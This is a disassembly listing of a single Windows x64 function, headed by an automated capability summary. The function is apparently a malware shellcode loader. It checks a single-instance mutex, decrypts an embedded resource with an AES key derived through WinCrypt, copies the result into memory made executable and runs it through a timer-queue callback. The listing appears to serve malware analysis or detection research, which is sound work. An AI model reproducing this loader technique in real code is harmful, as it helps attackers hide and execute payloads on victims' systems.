Function at 0x140001000
Capabilities:
Check mutex on windows
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Extract resource via kernel32 functions
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub rsp, 0x78
lea r8, str.GlobalCynergyTXT
mov dword [rsp + 0x48], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x14001aa80], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001045
mov rcx, qword [0x14001aa80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x78
ret
mov qword [rsp + 0x80], rbx
xor ecx, ecx
mov qword [rsp + 0x88], rbp
mov edx, 0x3e9
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rdi
lea r8d, [rcx + 0xa]
mov qword [rsp + 0x70], r14
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rcx, [0x1400103c8]
mov ebx, eax
call fcn.140001420
mov rcx, rax
lea rdx, str.VirtualAlloc
call fcn.1400014b0
lea rcx, [0x1400103f8]
mov rsi, rax
call fcn.140001420
mov rcx, rax
lea rdx, str.RtlMoveMemory
call fcn.1400014b0
lea rcx, [0x140010428]
mov rbp, rax
call fcn.140001420
mov rcx, rax
lea rdx, str.VirtualProtect
call fcn.1400014b0
mov r9d, 0x18
mov dword [rsp + 0x40], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x50]
mov r14, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400011da
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400011da
mov rcx, qword [rsp + 0x58]
lea rdx, section..data
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400011da
mov r8, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400011da
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400011da
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call rbp
lea r9, [rsp + 0x48]
mov r8d, 0x20
mov rdx, rbx
mov rcx, rsi
call r14
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdi, rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], 0x64
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r14, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
test eax, eax
je 0x140001292
xor eax, eax
add rsp, 0x78
ret